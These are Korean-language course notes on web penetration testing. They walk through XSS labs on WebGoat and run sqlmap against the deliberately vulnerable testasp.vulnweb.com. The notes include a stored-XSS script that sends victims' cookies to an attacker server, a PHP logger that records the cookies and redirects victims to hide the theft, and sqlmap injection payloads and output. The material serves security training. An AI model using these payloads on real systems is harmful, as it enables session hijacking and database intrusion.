http://testphp.vulnweb.com > 왼쪽 상단 메뉴 중 "Search art" 검색란에 다음과 같은 내용을 입력한다.

<script>alert("test")</script>


search art 부분에 XSS 공격 가능 유무 판단 <script> ... </script>을 넣고 go 선택하면 아래와 같은 화면이 나온다.

-> 따라서, Reflected XSS 공격이 가능하다는 것을 확인할 수 있다.

[실습] Reflected XSS(2)


테스트 대상 : WebGoat 5.4

테스트 도구 : 웹브라우저

준비 사항   : xss.jsp 소스코드(http://cafe.naver.com/sec 카페에서 받는다.)


① xss.jsp 파일을 WebGoat 설치된 디렉토리에 넣고 WebGoat을 실행

WebGoat 설치 디렉토리 예: C:\WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\tomcat\webapps\ROOT


② xss.jsp 파일 분석


예: C:\WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\tomcat\webapps\ROOT\xss.jsp

<html>

<head>

<meta http.equiv="Content.Type" content="text/html; charset=EUC.KR">

<title>XXXXXX</title>

</head>

<body>

<%@page import="java.lang.*"%>

<%@page import="java.util.*"%>

<%@page import="java.io.*"%>

<%@page import="java.net.*"%>

<%

String name = request.getParameter("name"); // 1번 라인

%>

username : <%=name%> // 2번 라인

</body>

</html>

-> (1번 라인 해석) 사용자 입력값을 name 변수에 저장한다.

-> (2번 라인 해석) 입력받은 name 변수의 내용을 출력한다.

-> 입력값에 대한 점검 부분은 존재하지 않는다. 입력받은 값을 그냥 출력하고 있다.





③ 웹브라우저에서 테스트


        (브라우저 보안 설정) 192.168.10.202 신뢰 할수 있는 사이트로 등록한다.


http://192.168.10.202:8080/xss.jsp?name=<script>alert("test")</script>





[실습] DOM XSS(1) - DOM XSS 취약성 유무 판단 테스트


테스트 대상 : WebGoat 5.4

테스트 도구 : 웹브라우저

준비사항    : xss1.jsp 소스코드


① 소스코드(xss1.jsp) 파일을 WebGoat 설치된 디렉토리에 넣고 WebGoat 실행

예: C:\WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\tomcat\webapps\ROOT\xss1.jsp


② 소스코드 분석

예: C:\WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\tomcat\webapps\ROOT\xss1.jsp

<html>

<head>

<meta http.equiv="Content.Type" content="text/html; charset=EUC.KR">

<title>XXXXXX</title>

</head>

<body>

DOM XSS Testing....

<SCRIPT>

var position=document.URL.indexOf("age=")+4; // 1번 라인

document.write(document.URL.substring(position,document.URL.length)); // 2번 라인

</SCRIPT>

</body>

</html>

-> (1번 라인 해석) age 변수가 선언되고 입력을 받으수 있도록 설정되었다.

-> (2번 라인 해석) URL 정보에서 age 변수값을 추출하고 document.write() 함수를 통해 화면에 출력

                   한다.





③ 정상적인 웹 요청과 악의적인 웹요청

정상적인 웹 요청: http://192.168.10.202:8080/xss1.jsp?age=21

악의적인 웹 요청: http://192.168.10.202:8080/xss1.jsp?age=<script>alert("test")</script>


정상적인 웹 요청: http://192.168.10.202:8080/xss1.jsp?age=21


악의적인 웹 요청: http://192.168.10.202:8080/xss1.jsp?age=<script>alert("test")</script>




[실습] DOM XSS(2)


테스트 대상 : WebGoat 5.4

테스트 도구 : 웹브라우저


(가정) paros proxy 꺼져 있는 상태이고 웹브라우저는 proxy 지정이 없는 상태이다.


① 테스트를 위한 WebGoat 메뉴 선택


WebGoat 실행한다.


WebGoat 접속한다.(http://192.168.10.202:8080/WebGoat/attack, ID/PASS: guest/guest)


WebGoat 좌측 메뉴 중 "Ajax Security" 선택하고 "LAB: DOM-Based cross-site-scripting" 선택한다.


② 입력부분에 적당한 내용 입력


Enter you name 부분에 AAAA를 입력한다.

-> 사용자 이름(EX: AAAA)을 입력하면 입력부분의 바로 위에 Hello, AAAA라고 표시가 된다.

-> 이름을 입력 받아서 위쪽에 출력하는것으로 판단이 된다.




③ 공격을 위한 소스 코드 찾기

해당 페이지에 대해서 소스보기(오른쪽 마우스 선택 > 소스보기)를 선택하고 소스 코드 중 435번째 라인의 아래 내용을 복사한다.

 

430431432433

434435436

437

438

439440

 

..... 중략 .....

<tr>

<td><a href="attack?Screen=23&menu=1900">WSDL Scanning</a></td>

</tr>

 

<tr>

<td><a href="attack?Screen=7&menu=1900">Web Service SAX Injection</a></td>

</tr>

 

<tr>

<td><a href="attack?Screen=60&menu=1900">Web Service SQL Injection</a></td>

</tr>

..... 중략 .....

-> 위의 파란색 부분을 복사한다.


Enter your name 부분에 붙이기(CTRL + V) 한다.


복사된 내용을 붙이고 나면 입력부분 바로 상단에 Hello, Web Service SAX Injection 보일것이다. Web Service SAX Injection은 링크이기 때문에 선택한다.


그럼 아래와 같이 다른 사용자의 암호를 변경할 수 있는 화면이 나온다.

-> 다른 사용자 계정의 비밀 번호를 가로챘다는 메세지를 볼수 있다.

-> 이런 방식으로 중요 정보를 가로채어 악용할 수 있다.

다른 사용자 암호를 임의적으로 1234라고 입력한다.

-> 그럼 암호 부분이 101에서 1234로 변경되는 것을 확인할 수 있다.


[수정전]

<?xml version='1.0' encoding='UTF-8'?>

<wsns0:Envelope

  xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'

  xmlns:xsd='http://www.w3.org/2001/XMLSchema'

  xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'

  xmlns:wsns1='http://lessons.webgoat.owasp.org'>

  <wsns0:Body>

    <wsns1:changePassword>

      <id xsi:type='xsd:int'>101</id>

      <password xsi:type='xsd:string'>101</password>

    </wsns1:changePassword>

  </wsns0:Body>

</wsns0:Envelope>

[수정후]

<?xml version='1.0' encoding='UTF-8'?>

<wsns0:Envelope

  xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'

  xmlns:xsd='http://www.w3.org/2001/XMLSchema'

  xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'

  xmlns:wsns1='http://lessons.webgoat.owasp.org'>

  <wsns0:Body>

    <wsns1:changePassword>

      <id xsi:type='xsd:int'>101</id>

      <password xsi:type='xsd:string'>1234</password>

    </wsns1:changePassword>

  </wsns0:Body>

</wsns0:Envelope>

-> 암호가 변경된것을 확인할 수 있다.






④ 취약점의 원인 찾기


다시 원래 페이지로 이동한다.


"오른쪽 마우스 선택 > 소스보기"를 선택 한후 581 라인으로 이동한다.

<div id="lessonContent"><form accept-charset='UNKNOWN' method='POST' name='form' action='attack?Screen=49&menu=400' enctype=''><script src='javascript/DOMXSS.js' language='JavaScript'></script><script src='javascript/escape.js' language='JavaScript'></script><h1 id='greeting'></h1>Enter your name: <input value='' onKeyUp='displayGreeting(person.value)' name='person' type='TEXT'><br><br><input name='SUBMIT' type='SUBMIT' value='Submit Solution'></form></div>

-> 입력된 값(변수 person)은 displayGreeting() 함수의 패러미터 person.value에 전달되고 있다.


displayGreeting 함수는 DOMXSS.js, escape.js 파일에 들어 있을것이다.

따라서 아래와 같이 웹브라우저로 접속해 본다.

http://192.168.10.202:8080/WebGoat/javascript/DOMXSS.js


파일을 다운로드 받고 저장하여 확인한다. DOMXSS.js 파일을 열어 보면 아래와 같다.

function displayGreeting(name) {

        if (name != ''){

                document.getElementById("greeting").innerHTML="Hello, " + name+ "!";

        }

}


입력하는 부분과 JS 처리부분을 확인하면 다음과 같다.

-----------------------------------------------------------------------------------------

■ 입력부분

<input value='' onKeyUp='displayGreeting(person.value)' name='person' type='TEXT'>


■ JS 처리부분

function displayGreeting(name) {

        if (name != ''){

                document.getElementById("greeting").innerHTML="Hello, " + name+ "!";

        }

}

-----------------------------------------------------------------------------------------

-> 입력된 값 person은 document의 서브 오브젝트(Sub Object)인 innerHTML에 전달되어 하드코딩된

   Hello 문자열 뒤에 person 변수값과 함께 화면에 출력되는 전형적인 XSS 특징을 가진다.

-> 입력된 값에 대한 점검 하는 부분이 없으므로 취약점이 있을것으로 판단이 된다.






[실습] Stored XSS 이용한 쿠기 가로채기


테스트 대상 : WebGoat 5.4

테스트 도구 : 웹브라우저

준비사항    : Cooxie 설치, 소스코드 test.php 파일


일반적으로 쿠기를 가로채는 절차는 다음과 같다.

(1) 공격자는 웹서버의 게시판에 XSS 코드를 삽입하고 해당 글 클릭을 유도한다.

(2) 일반 사용자가 웹서버의 XSS 코드가 포함된 글을 열람한다.

(3) XSS 코드에 의해 사용자의 쿠기(세션)값이 공격자에게 전달된다.

(4) 전달된 쿠기(세션)값을 자신의 것처럼 세팅하여 타인의 권한으로 작업한다.



① 준비 사항


(가정) APM_MYSQL5, APM_APCHE2 서비스가 start 되어 있다고 가정한다.

(가정) WebGoat 5.4 8080 기동되어 있다고 가정한다.


        ■ Cooxie 다운로드 및 설치

        ■ 소스코드 test.php 파일을 WebGoat 디렉토리에 넣기



■ Cooxie 다운로드 사이트

Cooxie 툴바는 쿠기값을 수정/변경 해주는 프로그램이다.

다음 사이트에서 다운로드 받을수 있다.
- http://www.diodia.com/download.htm (자신의 IE 버전에 맞는 프로그램 다운로드)


■ Cooxie 설치

- 기본값으로 설치한다. 특별한 설정은 없다.


Cooxie을 설치하고 실행이 되면 다음과 같은 화면이 나온다.

-> 필요하면 웹브라우저를 다시 실행할수도 있다.


■ 소스코드 test.php 파일을 WebGoat 디렉토리에 넣기

test.php 파일을 APM 기본설치 위치인 htdocs 디렉토리에 넣는다.


test.php 파일

<?php

$f = fopen("log.txt", 'a');

fwrite($f, date("Y-m-d H:i:s"). " ");

fwrite($f, $_SERVER["REMOTE_ADDR"]. " ");

fwrite($f, $_SERVER["REQUEST_URI"],"\n");

fclose($f);

header("Location: http://cafe.naver.com/sec");

?>

-> 쿠키를 저장하기 위해서 log.txt 파일 만들고, 날짜(date()), 접속자 IP(REMOTE_ADDR), 접속 페이
   지(REQUEST_URI, 쿠키값이 같이 전달된다.)를 log.txt 파일에 저장한다.

-> 정상적인 사이트인것처럼 속이기 위해서 cafe.naver.com/sec 사이트가 오픈되도록 구성되었다.

test.php 파일을 C:\APM_Setup\htdocs 디렉토리에 넣는다.


② WebGoat 메뉴 선택


취약한 설정을 가지고 있는 WebGoat 메뉴을 선택한다.

- WebGoat > Cross-Site-Scripting(XSS) > Cross Site Request Forgery(CSRF)






③ 취약점 공격


상단 메뉴 중 Show Cookies를 선택하면 상단 화면에 JSESSIONID라는 값을 보여준다.


해당 값이 로그인 이후에 발급되는 사용자의 고유값(세션 값)이라고 가정하고 해당 값을 가로채서 공격자 웹서버에 log.txt 저장해 보자.

해당 쿠키가로채기 기법에서는 로그인 이후에 발급된 쿠키 값을 공격자가 가로채는 기법이기 때문에 Cooxie 등의 툴에 쿠키값이 보여야 하나, 해당 사이트의 보안설정 등으로 보이지 않기 때문에 조금 전에 확인되 JSESSIONID 값을 Cooxie 툴바에 강제로 넣고 테스트를 한다.


JSESSIONID 값을 복사하여 Cooxie 툴바의 Edit Cookie를 선택하고 해당 값을 넣고 Set 선택한다.





취약한 게시판인 WebGoat의 Cross Site Request Forgery 메뉴 게시판에 아래의 공격코드를 넣는다.

-----------------------------------------------------

<script language="JavaScript">

window.location=http://192.168.10.202/test.php?"+document.cookie;

</script>

----------------------------------------------------


공격용 코드를 넣고 Submit 선택하면 아래와 같이 to admin 부분이 생기게 된다.


to admin 부분을 선택하면





XML_Injection_윤진식.hwp


'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160901 프로젝트#5  (0) 2016.09.07
20160831 파일업로드 취약점  (0) 2016.09.01
20160829 SQL Injection & XML Injection  (0) 2016.08.29
20160826 웹보안  (0) 2016.08.27
20160825 웹보안  (0) 2016.08.25
Posted by 22Hz
, |

⑦ 모의 테스트 2 (DB 전문(sqlmap) 스캐너를 통한 점검)


        ■ 웹 취약점 스캐너

        - paros : 종합 툴 성격을 가지고 있다. 여러가지 취약점을 점검하는 웹취약점 스캐너이다.

        - sqlmap: SQL Injection 점검만 할 수 있다. SQL Injection 전용 취약점 스캐너이다.


아래 내용은 윈도우에서 python 설치하고 sqlmap을 설치하여 실습하는 내용이다.

(가정) 실제 실습은 KaliLinux에서 미리 설치된 sqlmap을 사용하여 실습을 진행한다.


하지만 윈도우에서도 실습할수 있도록 아래 내용을 참고 사항으로 붙여 놓는다.


[참고] 윈도우에서 python/sqlmap 설치 및 실습 하는 방법

sqlmap(파이썬 기반의 커맨 명령어)을 이용하여 SQL Injection에 대한 자세한 상세 점검을 한다.

 

        ■ 파이썬 다운로드/설치(EX: python-2.7.9)

        ■ sqlmap 다운로드/설치(EX: sqlmapproject-sqlmap-0.9-4110-g03f32ae)

 

python 다운로드 사이트

- http://python.org/download (python-2.7.9 버전을 다운로드 한다.)

 

sqlmap 프로그램 다운로드 사이트

- http://sqlmap.org/

 

sqlmap 관련 문서 사이트

- https://github.com/sqlmapproject/sqlmap/wiki

 

 

■ python 패키지 다운로드 및 설치(기본설치을 한다.)

 

https://www.python.org/downloads/windows/ 사이트에서 적당한 버전의 python을 다운로드 받는다.

 

특별한 옵션없이 기본설치를 진행한다.(EX: python-2.7.9)

 

 

 

■ sqlmap 다운로드 및 설치

 

다운로드 받은 파일을 C:\sqlpmap 디렉토리안에서 압축을 해제한다.

(예: C:\sqlmap\sqlmapproject-sqlmap-0.9-4110-g03f32ae\sqlmapproject-sqlmap-03f32ae)

 

압축이 해제 되었다면 디렉토리 구성을 다시 하여야 실습이 편하다. 따라서 압축이 해제된 디렉토리 이름을 변경한다.

 

sqlmapproject-sqlmap-03f32ae 이름을 sqlmap 이름으로 변경한다.(EX: C:\sqlmap\sqlmap)

 

 

paros을 통해 얻은 정보 중 Alerts 부분에 High로 된 URL 중 한가지를 가지고 테스트한다.

        http://testasp.vulnweb.com/showforum.asp?=2

        http://testasp.vulnweb.com/showthread.asp?=3

 

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

 

C:\Users\soldesk>cd c:\sqlmap\sqlmap

c:\sqlmap\sqlmap>sqlmap.py -u testasp.vulnweb.com/showforum.asp?id=2

 

 

        [참고] 에러메세지가 발생하는 경우

        아래 메세지는 phython 설치 되지 않은 상태에서 sqlmap.py 툴을 돌렸을때 발생한다.

        c:\sqlmap\sqlmap>sqlmap.py -u testasp.vulnweb.com/showforum.asp?id=2

        Traceback (most recent call last):

          File "C:\sqlmap\sqlmap\sqlmap.py", line 23, in <module>

            from lib.utils import versioncheck  # this has to be the first non-standard import

        ImportError: No module named lib.utils

        -> python 설치하고 sqlmap.py 툴을 다시 실행하면 해결된다.

 

나머지 실습은 KaliLinux에서 하는 실습과 동일하다.


(KaliLinux)


(가정) 실습은 미리설치된 sqlmap을 사용하여 KaliLinux에서 실습을 진행한다.


paros을 통해 얻은 정보 중 Alerts 부분에 High로 된 URL 중 한가지를 가지고 테스트한다.

        http://testasp.vulnweb.com/showforum.asp?=2

        http://testasp.vulnweb.com/showthread.asp?=3


# sqlmap --help

Usage: python sqlmap [options]

 

Options:

  -h, --help            Show basic help message and exit

  -hh                   Show advanced help message and exit

  --version             Show program's version number and exit

  -v VERBOSE            Verbosity level: 0-6 (default 1)

 

  Target:

    At least one of these options has to be provided to define the target(s)

 

    -d DIRECT           Connection string for direct database connection

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")

    -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file

    -x SITEMAPURL       Parse target(s) from remote sitemap(.xml) file

    -m BULKFILE         Scan multiple targets given in a textual file

    -r REQUESTFILE      Load HTTP request from a file

    -g GOOGLEDORK       Process Google dork results as target URLs

    -c CONFIGFILE       Load options from a configuration INI file

 

  Request:

    These options can be used to specify how to connect to the target URL

 

    --method=METHOD     Force usage of given HTTP method (e.g. PUT)

    --data=DATA         Data string to be sent through POST

    --param-del=PARA..  Character used for splitting parameter values

    --cookie=COOKIE     HTTP Cookie header value

    --cookie-del=COO..  Character used for splitting cookie values

    --load-cookies=L..  File containing cookies in Netscape/wget format

    --drop-set-cookie   Ignore Set-Cookie header from response

    --user-agent=AGENT  HTTP User-Agent header value

    --random-agent      Use randomly selected HTTP User-Agent header value

    --host=HOST         HTTP Host header value

    --referer=REFERER   HTTP Referer header value

    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")

    --auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)

    --auth-cred=AUTH..  HTTP authentication credentials (name:password)

    --auth-private=A..  HTTP authentication PEM private key file

    --ignore-401        Ignore HTTP Error 401 (Unauthorized)

    --proxy=PROXY       Use a proxy to connect to the target URL

    --proxy-cred=PRO..  Proxy authentication credentials (name:password)

    --proxy-file=PRO..  Load proxy list from a file

    --ignore-proxy      Ignore system default proxy settings

    --tor               Use Tor anonymity network

    --tor-port=TORPORT  Set Tor proxy port other than default

    --tor-type=TORTYPE  Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)

    --check-tor         Check to see if Tor is used properly

    --delay=DELAY       Delay in seconds between each HTTP request

    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)

    --retries=RETRIES   Retries when the connection timeouts (default 3)

    --randomize=RPARAM  Randomly change value for given parameter(s)

    --safe-url=SAFURL   URL address to visit frequently during testing

    --safe-freq=SAFREQ  Test requests between two visits to a given safe URL

    --skip-urlencode    Skip URL encoding of payload data

    --csrf-token=CSR..  Parameter used to hold anti-CSRF token

    --csrf-url=CSRFURL  URL address to visit to extract anti-CSRF token

    --force-ssl         Force usage of SSL/HTTPS

    --hpp               Use HTTP parameter pollution method

    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.

                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

 

  Optimization:

    These options can be used to optimize the performance of sqlmap

 

    -o                  Turn on all optimization switches

    --predict-output    Predict common queries output

    --keep-alive        Use persistent HTTP(s) connections

    --null-connection   Retrieve page length without actual HTTP response body

    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

 

  Injection:

    These options can be used to specify which parameters to test for,

    provide custom injection payloads and optional tampering scripts

 

    -p TESTPARAMETER    Testable parameter(s)

    --skip=SKIP         Skip testing for given parameter(s)

    --dbms=DBMS         Force back-end DBMS to this value

    --dbms-cred=DBMS..  DBMS authentication credentials (user:password)

    --os=OS             Force back-end DBMS operating system to this value

    --invalid-bignum    Use big numbers for invalidating values

    --invalid-logical   Use logical operations for invalidating values

    --invalid-string    Use random strings for invalidating values

    --no-cast           Turn off payload casting mechanism

    --no-escape         Turn off string escaping mechanism

    --prefix=PREFIX     Injection payload prefix string

    --suffix=SUFFIX     Injection payload suffix string

    --tamper=TAMPER     Use given script(s) for tampering injection data

 

  Detection:

    These options can be used to customize the detection phase

 

    --level=LEVEL       Level of tests to perform (1-5, default 1)

    --risk=RISK         Risk of tests to perform (0-3, default 1)

    --string=STRING     String to match when query is evaluated to True

    --not-string=NOT..  String to match when query is evaluated to False

    --regexp=REGEXP     Regexp to match when query is evaluated to True

    --code=CODE         HTTP code to match when query is evaluated to True

    --text-only         Compare pages based only on the textual content

    --titles            Compare pages based only on their titles

 

  Techniques:

    These options can be used to tweak testing of specific SQL injection

    techniques

 

    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")

    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)

    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection

    --union-char=UCHAR  Character to use for bruteforcing number of columns

    --union-from=UFROM  Table to use in FROM part of UNION query SQL injection

    --dns-domain=DNS..  Domain name used for DNS exfiltration attack

    --second-order=S..  Resulting page URL searched for second-order response

 

  Fingerprint:

    -f, --fingerprint   Perform an extensive DBMS version fingerprint

 

  Enumeration:

    These options can be used to enumerate the back-end database

    management system information, structure and data contained in the

    tables. Moreover you can run your own SQL statements

 

    -a, --all           Retrieve everything

    -b, --banner        Retrieve DBMS banner

   --current-user      Retrieve DBMS current user

    --current-db        Retrieve DBMS current database

    --hostname          Retrieve DBMS server hostname

    --is-dba            Detect if the DBMS current user is DBA

    --users             Enumerate DBMS users

    --passwords         Enumerate DBMS users password hashes

    --privileges        Enumerate DBMS users privileges

    --roles             Enumerate DBMS users roles

    --dbs               Enumerate DBMS databases

    --tables            Enumerate DBMS database tables

    --columns           Enumerate DBMS database table columns

    --schema            Enumerate DBMS schema

    --count             Retrieve number of entries for table(s)

    --dump              Dump DBMS database table entries

    --dump-all          Dump all DBMS databases tables entries

    --search            Search column(s), table(s) and/or database name(s)

    --comments          Retrieve DBMS comments

    -D DB               DBMS database to enumerate

    -T TBL              DBMS database table(s) to enumerate

    -C COL              DBMS database table column(s) to enumerate

    -X EXCLUDECOL       DBMS database table column(s) to not enumerate

    -U USER             DBMS user to enumerate

    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables

    --where=DUMPWHERE   Use WHERE condition while table dumping

    --start=LIMITSTART  First query output entry to retrieve

    --stop=LIMITSTOP    Last query output entry to retrieve

    --first=FIRSTCHAR   First query output word character to retrieve

    --last=LASTCHAR     Last query output word character to retrieve

    --sql-query=QUERY   SQL statement to be executed

    --sql-shell         Prompt for an interactive SQL shell

    --sql-file=SQLFILE  Execute SQL statements from given file(s)

 

  Brute force:

    These options can be used to run brute force checks

 

    --common-tables     Check existence of common tables

    --common-columns    Check existence of common columns

 

  User-defined function injection:

    These options can be used to create custom user-defined functions

 

    --udf-inject        Inject custom user-defined functions

    --shared-lib=SHLIB  Local path of the shared library

 

  File system access:

    These options can be used to access the back-end database management

    system underlying file system

 

    --file-read=RFILE   Read a file from the back-end DBMS file system

    --file-write=WFILE  Write a local file on the back-end DBMS file system

    --file-dest=DFILE   Back-end DBMS absolute filepath to write to

 

  Operating system access:

    These options can be used to access the back-end database management

    system underlying operating system

 

    --os-cmd=OSCMD      Execute an operating system command

    --os-shell          Prompt for an interactive operating system shell

    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC

    --os-bof            Stored procedure buffer overflow exploitation

    --priv-esc          Database process user privilege escalation

    --msf-path=MSFPATH  Local path where Metasploit Framework is installed

    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

 

  Windows registry access:

    These options can be used to access the back-end database management

    system Windows registry

 

    --reg-read          Read a Windows registry key value

    --reg-add           Write a Windows registry key value data

    --reg-del           Delete a Windows registry key value

    --reg-key=REGKEY    Windows registry key

    --reg-value=REGVAL  Windows registry key value

    --reg-data=REGDATA  Windows registry key value data

    --reg-type=REGTYPE  Windows registry key value type

 

  General:

    These options can be used to set some general working parameters

 

    -s SESSIONFILE      Load session from a stored (.sqlite) file

    -t TRAFFICFILE      Log all HTTP traffic into a textual file

    --batch             Never ask for user input, use the default behaviour

    --charset=CHARSET   Force character encoding used for data retrieval

    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL

    --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")

    --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)

    --eta               Display for each output the estimated time of arrival

    --flush-session     Flush session files for current target

    --forms             Parse and test forms on target URL

    --fresh-queries     Ignore query results stored in session file

    --hex               Use DBMS hex function(s) for data retrieval

    --output-dir=OUT..  Custom output directory path

    --parse-errors      Parse and display DBMS error messages from responses

    --pivot-column=P..  Pivot column name

    --save              Save options to a configuration INI file

    --scope=SCOPE       Regexp to filter targets from provided proxy log

    --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)

    --update            Update sqlmap

 

  Miscellaneous:

    -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")

    --alert=ALERT       Run host OS command(s) when SQL injection is found

    --answers=ANSWERS   Set question answers (e.g. "quit=N,follow=N")

    --beep              Make a beep sound when SQL injection is found

    --cleanup           Clean up the DBMS from sqlmap specific UDF and tables

    --dependencies      Check for missing (non-core) sqlmap dependencies

    --disable-coloring  Disable console output coloring

    --gpage=GOOGLEPAGE  Use Google dork results from specified page number

    --identify-waf      Make a through testing for a WAF/IPS/IDS protection

    --mobile            Imitate smartphone through HTTP User-Agent header

    --page-rank         Display page rank (PR) for Google dork results

    --purge-output      Safely remove all content from output directory

    --smart             Conduct through tests only if positive heuristic(s)

    --sqlmap-shell      Prompt for an interactive sqlmap shell

    --wizard            Simple wizard interface for beginner users

-> 사용하는 방법이 다양한다.


■ 타겟 웹사이트에 대한 기본테스트 진행

# sqlmap -u testasp.vulnweb.com/showforum.asp?id=2

         _

 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150410}

|_ -| . | |     | .'| . |

|___|_  |_|_|_|_|__,|  _|

      |_|           |_|   http://sqlmap.org

 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

 

[*] starting at 10:26:45

 

[10:26:46] [WARNING] using '/root/.sqlmap/output' as the output directory

[10:26:46] [INFO] testing connection to the target URL

[10:26:47] [WARNING] reflective value(s) found and filtering out

[10:26:47] [INFO] testing if the target URL is stable. This can take a couple of seconds

[10:26:49] [INFO] target URL is stable

[10:26:49] [INFO] testing if GET parameter 'id' is dynamic

[10:26:49] [INFO] heuristics detected web page charset 'ascii'

[10:26:49] [INFO] confirming that GET parameter 'id' is dynamic

[10:26:50] [WARNING] GET parameter 'id' does not appear dynamic

[10:26:51] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable

[10:26:51] [INFO] testing for SQL injection on GET parameter 'id'

[10:26:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[10:26:54] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="about")

[10:26:58] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Microsoft SQL Server'

do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n] Y

[10:27:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'

[10:27:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

[10:27:16] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'

[10:27:16] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' injectable

[10:27:16] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'

[10:27:17] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase inline queries' injectable

[10:27:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'

[10:27:17] [WARNING] time-based comparison requires larger statistical model, please wait..........                         

[10:27:44] [INFO] GET parameter 'id' seems to be 'Microsoft SQL Server/Sybase stacked queries' injectable

[10:27:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'

[10:28:05] [INFO] GET parameter 'id' seems to be 'Microsoft SQL Server/Sybase time-based blind' injectable

[10:28:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

[10:28:05] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found

[10:28:07] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test

[10:28:10] [INFO] target URL appears to have 2 columns in query

[10:28:13] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y

sqlmap identified the following injection points with a total of 41 HTTP(s) requests:

---

Parameter: id (GET)

    Type: boolean-based blind   /* 참/거짓 기반의 공격 */

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=2 AND 7352=7352

 

    Type: error-based           /* 에러 기반의 공격 */

    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

    Payload: id=2 AND 5363=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (5363=5363) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113)))

 

    Type: UNION query           /* Union 쿼리를 이용한 공격 */

    Title: Generic UNION query (NULL) - 2 columns

    Payload: id=-5233 UNION ALL SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(72)+CHAR(98)+CHAR(116)+CHAR(112)+CHAR(102)+CHAR(83)+CHAR(88)+CHAR(102)+CHAR(113)+CHAR(101)+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113),NULL--

 

    Type: stacked queries       /* 누적된 쿼리 공격 */

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: id=2; WAITFOR DELAY '0:0:5'--

 

    Type: AND/OR time-based blind    /* AND/OR을 이용한 시간 기반의 공격 */

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: id=2 WAITFOR DELAY '0:0:5'--

 

    Type: inline query          /* 내부 쿼리를 이용한 공격 */

    Title: Microsoft SQL Server/Sybase inline queries

    Payload: id=(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (9284=9284) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(113))

---

[10:28:59] [INFO] testing Microsoft SQL Server

[10:29:00] [INFO] confirming Microsoft SQL Server

[10:29:03] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

[10:29:03] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 32 times

[10:29:03] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testasp.vulnweb.com'

 

[*] shutting down at 10:29:03

-> 출력결과 해석

        웹서버의 운영체제 : Windows 2003 or XP

        웹 애플리케이션   : ASP.NET, Microsoft IIS 6.0, ASP

        DBMS              : Microsoft SQL Server 2005


■ sqlmap의 출력된 내용 확인

